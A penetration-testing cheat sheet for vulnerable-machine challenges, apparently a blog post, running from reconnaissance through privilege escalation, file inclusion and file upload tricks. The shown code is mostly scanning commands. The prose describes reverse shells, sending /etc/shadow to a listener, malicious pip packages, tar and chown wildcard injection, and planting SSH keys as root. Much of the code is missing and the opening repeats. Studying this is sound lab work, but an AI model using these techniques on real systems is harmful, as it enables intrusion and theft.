CTF Series : Vulnerable Machines
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This post (Work in Progress) records what we learned by doing vulnerable machines provided by VulnHub, Hack the Box and others. The steps below could be followed to find vulnerabilities, exploit these vulnerabilities and finally achieve system/ root.
Once you download a virtual machines from VulnHub you can run it by using virtualisation software such as VMware or Virtual Box.
We would like to thank g0tm1lk for maintaining Vulnhub and the moderators of HackTheBox. Also, shout-outs are in order for each and every author of Vulnerable Machines and/ or write-ups. Thank you for providing these awesome challenges to learn from and sharing your knowledge with the IT security community! Thank You!!
Generally, we go through the following stages when solving a vulnerable machine:
Interface names of common Virtualisation Software:
Example:
Common port scanning software include: nmap, unicornscan, netcat (when nmap is not available).
As unicornscan is faster then nmap it makes sense to use it for scanning large networks or a large number of ports. The idea is to use unicornscan to scan all ports, and make a list of those ports that are open and pass them to nmap for service detection. Superkojiman has written onetwopunch for this.
If we have windows machine without nmap, we can use PSnmap
By using amap, we can identify which services are running on a given port. For example is there a SSL server running on port 3445 or some oracle listener on port 23? Note that the application can also handle services that requires SSL. Therefore it will perform an SSL connect followed by trying to identify the SSL-enabled protocol!. e.g. One of the vulnhub VM’s was running http and https on the same port.
While listening on port 4444, we might receive something like a base64 encoded string or some message.
Example:
nmap service scan result for port 443 (sample)
First of all, we check if the operating system and/ or the exposed services are vulnerable to exploits which are already available on the internet. For example, a vulnerable service webmin is present in one of the VMs which could be exploited to extract information from the system.
If we search for webmin with searchsploit, we will find different exploits available for it and we just have to use the correct one based on utility and the matching version.
Once we have figured out which exploit to check we can read about it by using the file-number. For example: 1997, 2017, 24574 in the above case.
Searchsploit provides an option to read the nmap XML file and suggest vulnerabilities (Requires nmap -sV -x xmlfile).
It will examine a web server to find potential problems and security vulnerabilities, including:
Now, this “/example” might be a php or might be accepting a GET Parameter. In that case, we probably need to fuzz it. The hardest part is that we can only find the GET parameters by fuzzing “/example” if you get some errors from the application, so the goal is to fuzz using a special char as the parameter’s value, something like: “/example?FUZZ=’ “
The other things which we may try is putting a valid command such as ‘ls, test’ so it becomes FUZZ=ls or FUZZ=test
Curl can be used to check the available options (supported http verbs):
The PUT method allows you to upload a file which can help us to get a shell on the machine. There are multiple methods available for uploading a file with the PUT method mentioned on Detecting and exploiting the HTTP Put Method
A few are:
We can also use wpscan to bruteforce passwords for a given username
Tips
If the vulnerable machine is running a SMTP mail server, we can verify if a particular username exists or not.
hydra http-post-form:
Help for module http-post-form
Module http-post-form requires the page and the parameters for the web form.
The parameters take three “:” separated values, plus optional values.
which can then be called by
However, it was not as useful as php meterpreter or a reverse shell.
UDP
then we can use the below to connect
Method 1:
Method 2:
Method 3:
Information about Bash Built-in /dev/tcp File (TCP/IP)
The following script fetches the front page from Google:
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
You’ll need to authorize the target to connect to you (command also run on your host):
When you start up a lynx client session, you can hit “g” (for goto) and then enter the following URL:
Now, try to check the payload
or
(From within vi)
Also, if we execute
Once, we exit vi, we would get shell. Helpful in scenarios where the user is asked to input which file to open.
Example
Webshell like
If we try
Probably will get
The su command would work from a terminal, however, would not take in raw stuff via the shell’s Standard Input. We can use a shell terminal trick that relies on Python to turn our non-terminal shell into a terminal shell
The above has been referenced from SANS Sneaky Stealthy SU in (Web) Shells
Many times, we will not get a fully interactive shell therefore it will/ have:
On Kali-Machine (Attackers - Probably yours)
On Victim (launch):
If socat isn’t installed, download standalone binaries that can be downloaded from static binaries
Download the correct binary architecture of socat to a writable directory, chmod it, execute
Once bash is running in the PTY, background the shell with Ctrl-Z While the shell is in the background, examine the current terminal and STTY info so we can force the connected shell to match it
The information needed is the TERM type (“xterm-256color”) and the size of the current TTY (“rows 38; columns 116”)
With the shell still backgrounded, set the current STTY to type raw and tell it to echo the input characters with the following command:
With a raw stty, input/ output will look weird and you won’t see the next commands, but as you type they are being processed.
Next foreground the shell with fg. It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with reset.
After the reset the shell should look normal again. The last step is to set the shell, terminal type and stty size to match our current Kali window (from the info gathered above)
The end result is a fully interactive TTY with all the features we’d expect (tab-complete, history, job control, etc) all over a netcat connection
Copy/ Append the public part to /home/user/.ssh/authorized_keys
Now, ssh to the box using that user.
Each process also has its own set of attributes. If we have the PID number and access to that process, then we can obtain some useful information about it, such as its environmental variables and any command line options that were run. Sometimes these include passwords. Linux also has a special proc directory called self which can be used to query information about the current process without having to know it’s PID.
The information about Proc variables has been taken from Directory Traversal, File Inclusion, and The Proc File System
[Linux] If you have become a normal user of which you have a password, it would be a good idea to check sudo -l (for every user! Yes, even for www-data) to check if there are any executables you have permission to run.
If there are no Hotfixes installed, we can visit
This directory is the temporary location for WSUS. Updates were downloaded here, doesn’t mean were installed. Otherwise, we may visit
which will inform if any hotfixes are installed.
We execute powershell with noprofile and accept the input from stdin
If we are getting the below error on running local exploits of getuid in meterpreter
Possibly, migrate into a new process using post/windows/manage/migrate
Assuming, the current directory contains our compiled exploit, we can
Once, smbserver is up and running, we can execute code like
If we have any of the below privileges, we can possibly utilize Rotten Potato
The above was for the Windows OS and the below is for Linux OS.
Something like this:
so we can create a file in temp:
By changing the PATH prior executing the vulnerable suid binary (i.e. the location, where Linux is searching for the relative located file), we force the system to look first into /tmp when searching for “scp” or “id” . So the chain of commands is:
It is important to see .bash_profile file which contains the $PATH
We can see that it is accepting environment variable USER which can be user-controlled. In that case just define USER variable to
When the program is executed, USER variable will contain /bin/sh and will be executed on system call.
then either we can create a script in that folder /home/flagXX/writeable.d which gives us a reverse shell like
or
we can create a suid file to give us the privileged user permission
Considering shell.c contains
Now, when we try to read example.conf file, we would be able to read the file for which we created the symlink
Here the first one create a direct symlink to the /etc folder and will be shown as
where as in the second one ( ln -s /etc/ sym_fold/ ), we first create a folder sym_fold and then create a symlink
This might be useful to bypass some filtering, when let’s say a cronjob is running but refuses to take backup of anything named /etc . In that case, we can create a symlink inside a folder and take the backup.
Here, access is intended to check whether the real user who executed the setuid program would normally be allowed to write the file (i.e., access checks the real userid rather than effective userid). This race condition is vulnerable to an attack:
Attacker
In this example, an attacker can exploit the race condition between the access and open to trick the setuid victim into overwriting an entry in the system password database. TOCTTOU races can be used for privilege escalation, to get administrative access to a machine.
Let’s see how we can exploit this?
In the below code, we are linking the file which we have access (/tmp/hello.txt) and the file which we want to read (and currently don’t have access) (/home/flagXX/token). The f switch on ln makes sure we overwrite the existing symbolic link. We run it in the while true loop to create the race condition.
We would also run the program in a while loop
Learning:
Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided.
Suid.c
or
However, if we have a unprivileged user, it is always better to check whether /bin/sh is the original binary or a symlink to /bin/bash or /bin/dash. If it’s a symlink to bash, it won’t provide us suid privileges, bash automatically drops its privileges when it’s being run as suid (another security mechanism to prevent executing scripts as suid). So, it might be good idea to copy dash or sh to the remote system, suid it and use it.
More details can be found at Common Pitfalls When Writing Exploits
and is executed using
We can use this to privilege escalate to the higher privileges. As python would imports modules in the current directory first, then from the modules dir (PYTHONPATH), we could make a malicious python script (of the same name of import module such as ftplib or example) and have it imported by the program. The malicious script may have a function similar to used in example.py executing our command. e.g.
The result would be “root”. This is mainly because sys.path is populated using the current working directory, followed by directories listed in your PYTHONPATH environment variable, followed by installation-dependent default paths, which are controlled by the site module.
Example
If we run our script with sudo (sudo myscript.py) then the environment variable $USER will be root and the environment variable $SUDO_USER will be the name of the user who executed the command sudo myscript.py. Consider the following scenario:
A linux user bob is logged into the system and possesses sudo privileges. He writes the following python script named myscript.py:
He then makes the script executable with chmod +x myscript.py and then executes his script with sudo privileges with the command:
The output of that program will be (using python 2.x.x):
If bob runs the program without sudo privileges with
he will get the following output:
There are also options
They execute commands before/ after apt calls dpkg. Post-Invoke which is invoked after every execution of dpkg (by an apt tool, not manually);
For example:
When the apt-update would be executed, it would be executed as root and we would get a shell as a root.
or
or
and then
which will add contents of temp.sh to tidyup.sh. (Assuming tidyup.sh is running as root by crontab)
Create a temp.sh ( which contains the commands to executed as root )
Execute the command
where
Here, the foo file (a blank file) is created using the touch command as the -exec parameter of the find command will execute the given command for every file that it finds, so by using “find foo” it is ensured they only execute once. The above command will be executed as root.
HollyGrace has mentioned this in Linux PrivEsc: Abusing SUID More can be learn How-I-got-root-with-sudo.
Example:
On the attacker side, there can be a nc listener. The above would send the contents of /etc/shadow to the listener in the post request.
If the user have been provided permission to install packages as a sudo for example
We can exploit this by creating a custom pip package which would provide us a shell.
First, create a folder (Let’s name it helloworld), and create two files setup.py and helloworld.py
Let’s see, what setup.py contains
and helloworld.py
The above can be a part of a sample package of python pip. For more details refer A sample project that exists for PyPUG’s “Tutorial on Packaging and Distributing Projects” , How To Package Your Python Code , A simple Hello World setuptools package and installing it with pipand Packaging and distributing projects
The above package can be installed by using
The above would execute setup.py and provide us the shell.
Refer Installing Packages for different ways to install a pip package
Let’s see the installed application
npm
npm allows packages to take actions that could result in a malicious npm package author to create a worm that spreads across the majority of the npm ecosystem. Refer npm fails to restrict the actions of malicious npm packages, npm install could be dangerous: Rimrafall and Package install scripts vulnerability
Files in this public directory are mostly owned by the user named ‘user’, and root user will now change that to ‘nobody’.
Let’s see who owns files now…
Something is not right. What happened? Somebody got drunk here. Superuser tried to change files owner to the user:group ‘nobody’, but somehow, all files are owned by the user ‘leon’ now. If we take closer look, this directory previously contained just the following two files created and owned by the user ‘leon’.
Thing is that wildcard character used in ‘chown’ command line took arbitrary ‘–reference=.drf.php’ file and passed it to the chown command at the command line as an option.
Let’s check chown manual page (man chown):
So in this case, ‘–reference’ option to ‘chown’ will override ‘nobody:nobody’ specified as the root, and new owner of files in this directory will be exactly same as the owner of ‘.drf.php’, which is in this case user ‘leon’. Just for the record, ‘.drf’ is short for Dummy Reference File. :)
To conclude, reference option can be abused to change ownership of files to some arbitrary user. If we set some other file as argument to the –reference option, file that’s owned by some other user, not ‘leon’, in that case he would become owner of all files in this directory. With this simple chown parameter pollution, we can trick root into changing ownership of files to arbitrary users, and practically “hijack” files that are of interest to us.
Even more, if user ‘leon’ previously created a symbolic link in that directory that points to let’s say /etc/shadow, ownership of /etc/shadow would also be changed to the user ‘leon’.
Example is presented below.
Superuser will now try to set mode 000 on all files.
Let’s check permissions on files…
What happened? Instead of 000, all files are now set to mode 777 because of the ‘–reference’ option supplied through file name..Once again,file .drf.php owned by user ‘leon’ with mode 777 was used as reference file and since –reference option is supplied, all files will be set to mode 777. Beside just –reference option, attacker can also create another file with ‘-R’ filename, to change file permissions on files in all subdirectories recursively.
So, what’s the problem with ‘tar’? Thing is that tar has many options,and among them, there some pretty interesting options from arbitrary parameter injection point of view. Let’s check tar manual page (man tar):
There is ‘–checkpoint-action’ option, that will specify program which will be executed when checkpoint is reached. Basically, that allows us arbitrary command execution.
Check the following directory:
Now, for example, root user wants to create archive of all files in current directory.
Boom! What happened? /usr/bin/id command gets executed! We’ve just achieved arbitrary command execution under root privileges. Once again, there are few files created by user ‘leon’.
So, with this tar argument pollution, we can basically execute arbitrary commands with privileges of the user that runs tar. As demonstrated on the ‘root’ account above.
Rsync manual: “You use rsync in the same way you use rcp. You must specify a source and a destination, one of which may be remote.”
Interesting rsync option from manual:
Let’s abuse one example directly from the ‘rsync’ manual page. Following example will copy all C files in local directory to a remote host ‘foo’ in ‘/src’ directory.
Directory content:
Now root will try to copy all C files to the remote server.
Let’s see what happened…
There were two files owned by user ‘leon’, as listed below.
After ‘rsync’ execution, new file shell_output.txt whose owner is root is created in same directory.
If we check its content, following data is found.
Trick is that because of the ‘*.c’ wildcard, ‘rsync’ got ‘-e sh shell.c’ option on command line, and shell.c will be executed upon’rsync’ start. Content of shell.c is presented below.
In any case, the full list is:
The output shows not only the name of the ADS and its size, but also the unnamed data stream and its size is also listed (shown as :$DATA).
Powershell-Way
Now, we know the name of the ADS, We can use the Get-Content cmdlet to query its contents.
Check a directory for ADS?
DIR Way
Current directory ADS Streams
Sub-directories too
Reading the hidden stream
Powershell Start-Process Module Documentation.
Probably, there are dump of domain controller NTDS.dit file, from which passwords can be extracted. Utilize,
The above code is basically a reduced version of the powershell version of ICMP and have a limited buffer (which means commands whose output is greater than the buffer, won’t be displayed!). Now, there’s a painful way of transferring files to the victim system which is
or
Example:
It contains
Example:
Imagine we’re on a private network which doesn’t allow connections to a specific server. Let’s say you’re at work and youtube is being blocked. To get around this we can create a tunnel through a server which isn’t on our network and thus can access Youtube.
The key here is -L which says we’re doing local port forwarding. Then it says we’re forwarding our local port 9000 to youtube.com:80, which is the default port for HTTP. Now open your browser and go to http://localhost:9000
Syntax
To share a interesting case, Let’s say there’s a host which is running port 22 on all interfaces and port 8080 and 8081 (or any other port) on local loopback interface (127.0.0.1), something like
Now, webserver on port 8080 and 8081 are running on localhost, if we have ssh access to the machine, we can tunnel them via local port forwarding and run it on the ethernet interface.
It would become
The above would open port 9000 and 9001 (on the external interface) and map it to port 8080 and 8081(which were running on local/ loopback interface).
Example:
Let’s say there’s a wordpress web-application we have compromised and have a www-data shell. Also, let’s say, we are inside a docker environment with the network below
Now, Let’s say, we have root credentials of mysql and want to access it using dbeaver application. Now, as we have access of wordpress machine, we can basically ssh to our machine (Let’s say our IP is 10.10.15.111), creating a Remote Port Forward
The above would create a ssh tunnel between 10.10.15.111:3306 and 172.16.0.4:3306. Then, we would be able to just launch dbeaver and connect to localhost mysql and browse the database at 172.16.0.4:3306.
As we would be probably inside the docker and www-data user, we might not have ssh binary and proper environment variable in that case, we can add below options
and
It is important to understand what is cgi-bin which can be read from Creating CGI Programs with Bash: Getting Started . Also the most important lines in this file are:
These two lines tell your browser that the rest of the content coming from the program is HTML, and should be treated as such. Leaving these lines out will often cause your browser to download the output of the program to disk as a text file instead of displaying it, since it doesn’t understand that it is HTML!
Shellshock Local Privilege Escalation
Binaries with a setuid bit and calling (directly or indirectly) bash through execve, popen or system are tools which may be used to activate the Shell Shock bug.
Shellshock also affects DHCP as mentioned Shellshock DHCP RCE Proof of Concept There’s a metasploit module named “Dhclient Bash Environment Variable Injection (Shellshock)” for this.
There are other *2john thingy
We can use the code written by superkojiman in De-ICE Hacking Challenge Part-1 , it would tell you what encryption scheme is used and then we can run the command to retrieve the plaintext.
The ciphertext should be in binary format for RsaCtfTool to work. If you have your ciphertext in hex, for example
Convert it in to binary using
it’s probably SECCURE Elliptic Curve Crypto Utility for Reliable Encryption Utilize python module seccure to get the plaintext.
In one of write-up, Nicolas Surribas has mentioned about two git environment variables GIT_SSH and GIT_TEMPLATE which can be utilized to do privilege escalation if git clone is performed using a suid binary. Imagine a suid binary utilized to do git clone from a remote directory.
This basically changes the command from
to
and Veracrypt or cryptsetup to open the file.
If there is port knocking involved, read the /etc/knockd.conf, read the sequence port knock should be done and execute
There’s another tool called fimap. However, it is better to check the source of uniscan for LFI and see what it is trying and try that with curl specially if cookies are required to set (in case of authenticated LFI). Personally, I tried Uniscan and for some reason cookie feature was not working and fimap only support POST parameter in cookie no GET.
For example: the below code only includes the file which are named secret
There are variety of different tricks to turn your LFI into RCE. Using
An example of PHP expect:
If PHP expect wrapper is disabled, below error is encountered.
Creating a php payload for listing current directory files (There can be other payload also. For example, php meterpreter, if the “system” is blocked use, scandir() for directory listing etc. )
and
Now, if we upload this zip file somehow to the victim machine and know it’s location (Let’s say it got uploaded in /uploads) and filename (is def506bd2176265e006f2db3d7b4e9db11c459c1), we can do remote code execution
Zip Usage
Burp Request
and we get RCE
We may read more about it at Bypassing PHP Null Byte Injection protections – Part II – CTF Write-up or CodeGate General CTF 2015: Owlur – Read other write-ups in this.
The output is encoded using base64, so you’ll need to decode the output.
or
We could use php filter to read the source code of a PHP File
More information can be found at Using PHP for file inclusion
Send your payload in the POST request using curl, burp.
Example:
Post Data payload:
After uploading execute the reverse shell at
This method is a little tricky as the proc file that contains the Apache error log information changes under /proc/self/fd/ e.g. /proc/self/fd/2, /proc/self/fd/10 etc. Utilize LFI-LogFileCheck.txt with Burp Intruder, and check for the returned page sizes.
with LFI
Now, the server store cookies
As we know PHP5 stores it’s session files by default under /var/lib/php5/sess_[PHPSESSID]. (If not, do check phpinfo and figure out the location of temp files) – so the above issued session “i56kgbsq9rm8ndg3qbarhsbm27” would be stored under /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
Now, we can write the cookie with a php command
This would result in
Now, the php command can be executed using
The session file could again afterwards be included using the LFI (note that you need to remove the cookie from the request, otherwise it would get overwritten again and the payload would fail)
Below is the PHP code
If we change the extension of filename tag from JPG to PHP, we may be able to execute code remotely.
Since the exif_imagetype function checks the filetype of the uploaded file. It checks the first bytes of an image are against a signature. Most filetypes such as JPEG, ZIP, TAR, etc. have a “Magic Number” at the beginning of the file to help verify its file type. So to pass the exif_imagetype function check, our file must start with the magic number of a supported image format.
We can also upload an actual .jpeg, but alter the coments in the metadata to include the php code.
Let’s say, there is a upload form which has a text-field for accepting input (Let’s say - suspectinfo) and the input put in this text field is stored in a file format on the server. Let’s see the current form in inspect-element.
Client-Side Code
If we see the above form, accepts two inputs
If we see, the contents of sinfo are directly put in a file.
In this case, if we change the input type of sinfo from text to file. We can upload a file! Imagine uploading a zip file or php file.
Now, when we press submit button, probably, just make sure that the request is quite similar to the original one and we should be able to upload the file.
A web.config file lets you customize the way site or a specific directory on site behaves. For example, if you place a web.config file in your root directory, it will affect your entire site. If you place it in a /content directory, it will only affect that directory.
With a web.config file, you can control:
We can upload the below web.config
The above expects a parameter cmd which is executed using wscript.shell and can be executed like
So, we can setup by using
We can directly copy the file
or directly execute it without copying
We can use powershell to download a file from a command prompt
CertUtil
CertUtil command can be abused to download a file from internet.
Bitsadmin
Python-pyftpdlib
Install using apt
Now from the directory we want to serve, just run the Python module. It runs on port 2121 by default (can be changed using -p parameter) and accepts anonymous authentication. To listen on the standard port:
Metasploit
FTP can also accepts a series of commands stored in a text file
Contents of a text file
Passing parameter to ftp
The file can be created by using echo
If you are the docker user and want to get root.
Copy docker images from one host to another without via repository?
Save the docker image as a tar file:
Then copy the image to a new system with regular file transfer tools such as cp or scp. After that, load the image into docker:
If, we have access to the framebuffer device /dev/fb0. We can use a tool like fb2png to convert it to a png picture or we can cat it and get a file:
To find the screen resolution, we can read virtual size
We can then open the screenshot as a raw file (Select File Type: Raw Image Data) in Gimp, enter the width and height as well of the color arrangement, RGB, RGBA etc.
We can use debugfs command to read everything and dd command to write anywhere.
Read /root/.ssh/authorized_keys using debugfs:
Let’s find the block where the “/root/.ssh/authorized_keys” file resides:
Let’s use dd to write our own public key inside /root/.ssh/authorized_keys. This command will write over (i.e. it will replace) the old data:
It’s important to sync afterwards:
Read again to check if the file was overwritten
More usage details about can be found at debugfs Command Examples
LXD is Ubuntu’s container manager utilising linux containers. It could be considered to act in the same sphere as docker. The lxd group should be considered harmful in the same way the docker group is. Under no circumstances should a user in a local container be given access to the lxd group.
Here we have created an lxc container, assigned it security privileges and mounted the full disk under /mnt/root
At this point, we can write a ssh public key to the root/.ssh folder and use that to access the machine.
The pickle website say Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
we may use
if we print shell variable above, it would look something like below if python version 2 is used
and in python version 3
Pickle is imported in python 3 as
and in python 2
Now, we can test locally that our code for shell is working by unpickling by
Refer Understanding Python pickling and how to use it securely , Sour Pickles and Exploiting misuse of Python’s “pickle”
Example
This works because the outside curly brackets say give the contents of a variable/method/has to start with $, which is why we need the inner ${} to act as a variable. {${system($use_me)}} means, give the contents of ${system($use_me)} which in turn means use the contents of a variable named by the output of system($use_me).
If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically. These rules also apply to the switch statement. The type conversion does not take place when the comparison is === or !== as this involves comparing the type as well as the value.
So, if == or != is used to do the comparison or the password checks and if md5(of a string/number) results in a hash starting with 0e, there might be a possibility of bug.
Refer Magic Hashes, PHP Weak Typing Woes; With Some Pontification about Code and Pen Testing and Writing Exploits For Exotic Bug Classes: PHP Type Juggling
This post (Work in Progress) records what we learned by doing vulnerable machines provided by VulnHub, Hack the Box and others. The steps below could be followed to find vulnerabilities, exploit these vulnerabilities and finally achieve system/ root.
Once you download a virtual machines from VulnHub you can run it by using virtualisation software such as VMware or Virtual Box.
We would like to thank g0tm1lk for maintaining Vulnhub and the moderators of HackTheBox. Also, shout-outs are in order for each and every author of Vulnerable Machines and/ or write-ups. Thank you for providing these awesome challenges to learn from and sharing your knowledge with the IT security community! Thank You!!
Generally, we go through the following stages when solving a vulnerable machine:
- Finding the IP address
- Port Scanning
- Rabbit Holes
- From Nothing to a Unprivileged Shell
- Unprivileged Shell to Privileged Shell
- Appendix-I : Local File Inclusion
- Appendix-II : File Upload
- Appendix-III Transferring Files from Linux to Windows (post-exploitation)
- Appendix-IV Linux Group Membership Issues
- Appendix-V Coding Languages Tricks
Finding the IP address
Before, exploiting any machine, we need to figure out its IP address.Netdiscover
An active/ passive arp reconnaissance toolnetdiscover [options]
-i interface : The network interface to sniff and inject packets on.
-r range : Scan a given range instead performing an auto scan.
Example:
netdiscover -i eth0/wlan0/vboxnet0/vmnet1 -r 192.168.1.0/24
- Virtualbox : vboxnet
- Vmware : vmnet
Nmap
Network exploration tool and security/ port scannernmap [Scan Type] [Options] {target specification}
-sP/-sn Ping Scan -disable port scan
nmap -sP/-sn 192.168.1.0/24
Port Scanning
Port scanning provides a large amount of information about open (exposed) services and possible exploits that may target these services.Common port scanning software include: nmap, unicornscan, netcat (when nmap is not available).
Nmap
Network exploration tool and security/ port scannernmap [Scan Type] [Options] {target specification}
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn/-sP: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan -sN/sF/sX: TCP Null, FIN, and Xmas scans
PORT SPECIFICATION:
-p : Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
OUTPUT:
-oN/-oX/-oS/-oG : Output scan in normal, XML,Output in the three major formats at once
-v: Increase verbosity level (use -vv or more for greater effect)
MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, script scanning, and traceroute
Unicornscan
A port scanner that utilizes its own userland TCP/IP stack, which allows it to run asynchronous scans. It can scan 65,535 ports in a relatively short time frame.As unicornscan is faster then nmap it makes sense to use it for scanning large networks or a large number of ports. The idea is to use unicornscan to scan all ports, and make a list of those ports that are open and pass them to nmap for service detection. Superkojiman has written onetwopunch for this.
unicornscan [options] X.X.X.X/YY:S-E
-i, --interface : interface name, like eth0 or fxp1, not normally required
-m, --mode : scan mode, tcp (syn) scan is default, U for udp T for tcp \`sf' for tcp connect scan and A for arp for -mT you can also specify tcp flags following the T like -mTsFpU for example that would send tcp syn packets with (NO Syn\|FIN\|NO Push\|URG)
Address ranges are in cidr notation like 1.2.3.4/8 for all of 1.?.?.?, if you omit the cidr mask /32 is implied.
Port ranges are like 1-4096 with 53 only scanning one port, **a** for all 65k and p for 1-1024
example: unicornscan 192.168.1.5:1-4000 gateway:a would scan port 1 - 4000 for 192.168.1.5 and all 65K ports for the host named gateway.
Netcat
Netcat might not be the best tool to use for port scanning, but it can be used quickly. While Netcat scans TCP ports by default it can perform UDP scans as well.TCP Scan
For a TCP scan, the format is:nc -vvn -z xxx.xxx.xxx.xxx startport-endport
-z flag is Zero-I/O mode (used for scanning)
-vv will provide verbose information about the results
-n flag allows to skip the DNS lookup
UDP Scan
For a UDP Port Scan, we need to add -u flag which makes the format:nc -vvn -u -z xxx.xxx.xxx.xxx startport-endport
Amap - Application mapper
When portscanning a host, you will be presented with a list of open ports. In many cases, the port number tells you which application is running. Port 25 is usually SMTP, port 80 mostly HTTP. However, this is not always the case, and especially when dealing with proprietary protocols running on non-standard ports you will not be able to determine which application is running.By using amap, we can identify which services are running on a given port. For example is there a SSL server running on port 3445 or some oracle listener on port 23? Note that the application can also handle services that requires SSL. Therefore it will perform an SSL connect followed by trying to identify the SSL-enabled protocol!. e.g. One of the vulnhub VM’s was running http and https on the same port.
amap -A 192.168.1.2 12380
amap v5.4 (www.thc.org/thc-amap) started at 2016-08-10 05:48:09 - APPLICATION MAPPING mode
Protocol on 192.168.1.2:12380/tcp matches http
Protocol on 192.168.1.2:12380/tcp matches http-apache-2
Protocol on 192.168.1.2:12380/tcp matches ntp
Protocol on 192.168.1.2:12380/tcp matches ssl
Unidentified ports: none.
amap v5.4 finished at 2016-08-10 05:48:16
Rabbit Holes
There will be instances when we will not able to find anything entry point such as any open port. The section below may provide some clues on how to get unstuck.
Note
When in doubt, enumerate
Listen to the interface
Many VMs send data on random ports therefore we recommend to listen to the local interface (vboxnet0 / vmnet) on which the VM is running. This can be done by using wireshark or tcpdump. For example, one of the vulnhub VMs, performs an arp scan and sends a SYN packet on port 4444, if something is listening on that port, it sends some data.tcpdump -i eth0
18:02:04.096292 IP 192.168.56.101.36327 > 192.168.56.1.4444: Flags [S], seq 861815232, win 16384, options [mss 1460,nop,nop,sackOK,nop,wscale 3,nop,nop,TS val 4127458640 ecr 0], length 0
18:02:04.096330 IP 192.168.56.1.4444 > 192.168.56.101.36327: Flags [R.], seq 0, ack 861815233, win 0, length 0
18:02:04.098584 ARP, Request who-has 192.168.56.2 tell 192.168.56.101, length 28
18:02:04.100773 ARP, Request who-has 192.168.56.3 tell 192.168.56.101, length 28
18:02:04.096292 IP 192.168.56.101.36327 > 192.168.56.1.4444: Flags [S],
nc -lvp 4444
listening on [any] 4444 …
192.168.56.101: inverse host lookup failed: Unknown host
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.101] 39519
0IHNpbGVuY2Ugc3Vycm91bmRpbmcgeW91Lg0KWW91IGxvb2sgZWFzdCwgdGhlbiBzb3V0aCwgdGhlbiB3ZXN0LCBhbGwgeW91IGNhbiBzZWUgaXMgYSBncmVhdCB3YXN0ZWxh
DNS Server
If the targeted machine is running a DNS Server and we have a possible domain name, we may try to figure out A, MX, AAAA records or try zone-transfer to figure out other possible domain names.host <domain> <optional_name_server>
host -t ns <domain> -- Name Servers
host -t a <domain> -- Address
host -t aaaa <domain> -- AAAA record points a domain or subdomain to an IPv6 address
host -t mx <domain> -- Mail Servers
host -t soa <domain> -- Start of Authority
host <IP> -- Reverse Lookup
host -l <Domain Name> <DNS Server> -- Domain Zone Transfer
host scanme.nmap.org
scanme.nmap.org has address 45.33.32.156
scanme.nmap.org has IPv6 address 2600:3c01::f03c:91ff:fe18:bb2f
SSL Certificate
If the targeted machine is running an https server and we are getting an apache default webpage on hitting the https://IPAddress, virtual hosts would be probably in use. Check the alt-dns-name on the ssl-certificate, create an entry in hosts file (/etc/hosts) and check what is being hosted on these domain names by surfing to https://alt-dns-name.nmap service scan result for port 443 (sample)
| ssl-cert: Subject: commonName=examplecorp.com/organizationName=ExampleCorp Ltd./stateOrProvinceName=Attica/countryName=IN/localityName=Mumbai/organizationalUnitName=IT/emailAddress=admin@examplecorp.com
| Subject Alternative Name: DNS:www.examplecorp.com, DNS:admin-portal.examplecorp.com
From Nothing to a Unprivileged Shell
At this point, we would have an idea about the different services and service version running on the system. Besides the output given by nmap. It is also recommended to check what software is being used on the webservers (e.g. certain cms’s)searchsploit
Exploit Database Archive SearchFirst of all, we check if the operating system and/ or the exposed services are vulnerable to exploits which are already available on the internet. For example, a vulnerable service webmin is present in one of the VMs which could be exploited to extract information from the system.
root@kali:~# nmap -sV -A 172.16.73.128
**********Trimmed**************
10000/tcp open http MiniServ 0.01 (Webmin httpd)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
| ndmp-version:
|_ ERROR: Failed to get host information from server
**********Trimmed**************
root@kali:~# searchsploit webmin
**********Trimmed**************
Description Path
----------------------------------------------------------------------------------------------------------------
Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit | /multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit (perl) | /multiple/remote/2017.pl
Webmin 1.x HTML Email Command Execution Vulnerability | /cgi/webapps/24574.txt
**********Trimmed**************
searchsploit -x 24674
searchsploit
--nmap [file.xml] Checks all results in Nmap's XML output with service version (e.g.: nmap -sV -oX file.xml).
Use "-v" (verbose) to try even more combinations
Tip
If we don’t manage to find an exploit for a specific version, it is recommended to check the notes of the exploits which are highlighted as they may be valid for lower versions too. For example Let’s say we are searching for exploits in Example_Software version 2.1.3. However, version 2.2.2 contains multiple vulnerablities. Reading the description for 2.2.2 we find out it’s valid for lower versions too.
SecLists.Org Security Mailing List Archive
There will be some days, when you won’t find vulnerabilities with searchsploit. In this case, we should also check the SecLists.Org Security Mailing List Archive, if someone has reported any bug(s) for that particular software that we can exploit.Google-Vulns
It is suggested that whenever you are googling something, you add words such as vulnerability, exploit, ctf, github, python, tool etc. to your search term. For example. Let’s say, you are stuck in a docker or on a specific cms search for docker ctf or <cms_name> ctf/ github etc.Webservices
If a webserver is running on a machine, we can start with runningwhatweb
Utilize whatweb to find what software stack a server is running.whatweb www.example.com
